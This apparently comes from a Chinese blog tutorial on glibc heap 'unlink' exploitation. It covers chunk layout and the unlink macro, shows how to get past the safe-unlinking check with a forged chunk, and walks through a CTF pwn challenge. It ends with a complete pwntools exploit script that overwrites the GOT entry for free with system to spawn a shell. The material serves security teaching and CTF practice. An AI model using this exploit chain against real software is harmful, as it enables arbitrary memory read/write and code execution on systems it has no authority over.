unlink浅析

参考文章:

关于heap overflow的一些笔记   by ETenal

[CTF]Heap vuln -- unlink           by 0xmuhe

0x00 unlink宏

堆chunk的结构:

struct malloc_chunk {

INTERNAL_SIZE_T prev_size;         /* Size of previous chunk (if free). */

INTERNAL_SIZE_T size;                  /* Size in bytes, including overhead. */

struct malloc_chunk* fd;                    /* double links -- used only if free. */

struct malloc_chunk* bk;                   /* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk* fd_nextsize;     /* double links -- used only if free. */

struct malloc_chunk* bk_nextsize; };

其中size的低位1bit记录前一个堆块的使用情况。若使用中,则为1,同时presize为0暂时没什么用(??);若前一个堆块已经被释放掉为空闲,则为0,

同时presize记录前一个堆块的大小,用于从当前堆块计算前一个堆块的起始地址。


执行free(某个堆块P)时进行如下操作:

1).检查是否可以向后合并

首先需要检查 previous chunk 是否是空闲的(通过当前 chunk size 部分中的 flag 最低位去判断),在默认情况下,堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。

如果为free的话,那么就进行向后合并:

1)将前一个chunk占用的内存合并到当前chunk;

2)修改指向当前chunk的指针,改为指向前一个chunk。

3)使用unlink宏,将前一个free chunk从双向循环链表中移除。

前一个 chunk 是正在使用的,不满足向后合并的条件。

2).检查是否可以向前合并

在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于 chunk first 而言的)的过程中,首先当前 chunk+ 当前 size 可以引导到下个 chunk ,然后从下个 chunk 的开头加上下个 chunk 的 size 就可以引导到下下个 chunk 。

如果我们把下个 chunk 的 size 覆盖为了-4,那么它会认为下个 chunk 从 prev_size 开始就是下下个chunk了,既然已经找到了下下个 chunk ,那就就要去看看 size 的最低位以确定下个 chunk 是否在使用,当然这个 size 是 -4 ,所以它指示下个 chunk 是空闲的。

在这个时候,就要发生向前合并了。即 first chunk 会和 first chunk 的下个 chunk (即 second chunk )发生合并。在此时会触发 unlink(second) 宏,想将 second 从它所在的 bin list 中解引用。

unlink宏:

#define unlink(P, BK, FD) {

 FD = P->fd;                //FD = *P + 8;

 BK = P->bk;               // BK = *P + 12;

FD->bk = BK;             //  FD + 12 = BK;

 BK->fd = FD;            //   BK + 8 = FD;

}

/* 能操控的就是FD,BK,要注意,FD+12和BK+8都要保证可写*/

0x01 绕过新glibc防护进行unlink利用

上述unlink方法已经被glibc遗弃很久了,现在的unlink使用了如下的检查机制

void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)

{

FD = P->fd;

BK = P->bk;

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

       malloc_printerr(check_action,"corrupted double-linked list",P);

else

       {

       FD->bk = BK;

       BK->fd = FD;

       }

}

在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。这使unlink利用变得十分困难(并非不可利用),很快人们就发现,如果找到一个指向P的指针,精心伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查。在接下来的过程:

FD->bk=BK;

BK->fd=FD;

中这个指针将被FD覆盖。


举个栗子

考虑程序功能使用一个chunk_list来存储所有malloc申请到的内存。(显然这是很自然的做法,还有一种情况是先申请一个大的堆块作为chunk_list,这种情况需要先泄露出chunk_list的地址)

buffer1=malloc(64);

chunk_list[0]=buffer1;

在伪造chunk时,使P->fd=chunk_list-12,P->bk=chunk_list-8,这会使

FD->bk=chunk_list-12+12=chunk_list

BK->fd=chunk_list-8+8=chunk_list    /*chunk_list指向buffer1

此时free(buffer2)会进行向后合并,执行unlink(buffer1),此时fd和bk都指向buffer1自己,通过检查。

最后的结果就是chunk_list[0]=chunk_list-12。

用户向申请到的堆块即向buffer1写入内容时,实际上是往*(chunk_list[0])里写,通过向

*(chunk_list[0])=*(chunk_list-12)写入数据12字节的junk,再写4字节将覆盖chunk_list[0],即chunk_list[0]可控

利用:

1)用户打印堆块的data内容,实际上是print  *(chunk_list[0]),由于chunk_list[0]可控,可以实现任意地址读

2)用户向data中写入,实际上是向*(chunk_list[0])中写入,可以实现任意地址写


0x02 伪造chunk


例如,malloc两个大小为0x80的堆块:

chunk0=malloc(0x80)

chunk1=malloc(0x80)

堆块目前大致像这样:

一些细节:

1)malloc一块0x80大小的内存,返回给用户的指针实际上指向堆块的data位置,而在data前面还有presize和size两个4字节的内容,所以malloc(N)的实际的堆块大小应该为N+8。

2)malloc时总是8字节对齐的,所以size的低三位被用来作为标识位,最低位标识前一个堆块是否使用中,为0则空闲,为1则为使用中。所以size中的值为0x80+8+1。

3)prev_size是前一块chunk的大小,前提是前一块chunk状态是free,如果前一块还在被使用,这4个字节会被前一块chunk共享使用以提高空间使用率。所以此时chunk1的presize为0。

chunk0的data用户可以输入,如果没有检查长度输入可以覆盖到chunk1的presize和size。

chunk1的size被覆盖为0x88,低位为0,标识前一个堆块chunk0状态为free。

fake chunk0大小等于chunk0的data区,大小为0x80

chunk0的fd和bk是可控的。

这时free(chunk1),发生向后合并,执行宏unlink(chunk0),注意free()通过当前堆块chunk1的地址减去presize来寻址到前一个堆块chunk0,由于此时presize已经被我们构造成0x80,所以寻找前一个堆块时就会找到构造的fake chunk,从而执行unlink(fake chunk),剩下的步骤就按照栗子图下面的搞起~

0x03 一个pwn栗子

二进制文件

编辑内容的时候read造成了溢出。

首先新建三个堆块:

add(0x80)

add(0x80)

add(0x80)

构造fake chunk:

chunk_list=0x08049D60

payload=p32(0x0)+p32(0x81)         #fake presize & fake size

payload+=p32(chunk_list-0xc)        #fd

payload+=p32(chunk_list-0x8)        #bk

payload+=0x70*'A'                           #paddings

payload+=p32(0x80)+p32(0x88)

edit(0,payload)

现在的堆结构:

chunk1的size低位为0发生向后合并

0x8442088通过-presize向前寻址刚好寻址到0x842008,即构造的fake chunk。

unlink(fake chunk)检查:

                    fd->bk = *(fd+0xc) = *0x8049d60 = 0x08442008

                    bk->fd = *(bk+0x8) = *0x8049d60 = 0x08442008

                    fd->bk = bk->fd = fake chunk

unlink(fake chunk)操作:

                    FD = fd;

                    BK = bk;

                    FD->bk = BK;

                    BK->fd = FD;

即:*(0x8049d60)=0x8049d54;

任意地址读:

edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))

相当于做了**(0x8049d60)=payload的操作,即往0x8049d54里写入长度为12的junk之后,再往0x8049d60里写入0x8049d54,往0x8049d64里写入p32(addr),紧接着show(1)打印addr的内容,即可完成任意地址读,可以通过DynELF查找system地址。

任意地址写:

edit(0,'A'*12+p32(elf.got['free']))

edit(0,p32(system_addr))

0x8049d54里写入长度为12的junk之后,继续就是往0x8049d60里写入free的got表地址,再次edit(0)就能够修改got表,把"/bin/sh"作为data写到一开始分配的第三个堆块里,作remove(2)就可以getshell。

附上exp:


from pwn import *

p=process('./heap')

chunk_list=0x08049D60

def leak(addr):

edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))

show(1)

result=p.recv(4)

print "%#x  %s" %(addr,hex(u32(result)))

return result

def add(size):

p.recvuntil('5.Exit')

p.sendline('1')

p.recvuntil('Input the size of chunk you want to add:')

p.sendline(str(size))

def edit(index,data):

p.recvuntil('5.Exit')

p.sendline('2')

p.recvuntil('Set chunk index:')

p.sendline(str(index))

p.recvuntil('Set chunk data:')

p.sendline(data)

def remove(index):

p.recvuntil('5.Exit')

p.sendline('3')

p.recvuntil('Delete chunk index:')

p.sendline(str(index))

def show(index):

p.recvuntil('5.Exit')

p.sendline('4')

p.recvuntil('Print chunk index:')

p.sendline(str(index))

e=ELF('./heap')

add(0x80)

add(0x80)

add(0x80)

payload=p32(0x0)+p32(0x81)  #fake presize  & fake size

payload+=p32(chunk_list-0xc) #fd

payload+=p32(chunk_list-0x8) #bk

payload+=0x70*'A'                            #paddings

payload+=p32(0x80)+p32(0x88)

#gdb.attach(p,'b* 0x8048702')

edit(0,payload)

remove(1)

d=DynELF(leak,elf=e)

system_addr=d.lookup('system','libc')

print "system address: ",hex(system_addr)

edit(0,'A'*12+p32(e.got['free']))

edit(0,p32(system_addr))

edit(2,'/bin/sh')

remove(2)

p.interactive()


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,671评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,442评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,524评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,623评论 1 275
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,642评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,584评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,953评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,621评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,865评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,608评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,698评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,378评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,958评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,940评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,173评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,419评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,425评论 2 342

推荐阅读更多精彩内容

  • Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一...
    BJChangAn阅读 11,821评论 0 1
  • emmm这一篇既是开始,也是一个小小的总结。 Q1:为什么是ptmalloc呢? A:内存的分配释放都很频繁,pt...
    BJChangAn阅读 1,568评论 0 1
  • 我要做一只少女 养一位男孩子气的猫 开心了就喂我吃鱼 忧郁时就陪我看雨 我要做一位猫咪 找一只女孩子气的少女 哄她...
    Birdy鸟鸟阅读 257评论 2 1
  • 生来就是孤岛 连接了也是孤岛 只在那一瞬 感受到情绪的波澜 便再也无任何趣味了 百无聊赖的人生啊
    percy0016阅读 107评论 0 0
  • ——2008年7月《都市丽人》 “生命很脆弱,应该好好地去珍惜。”这句话,从旁人口中说出来,可能还有些轻描淡写的...
    hugh_diary阅读 587评论 0 1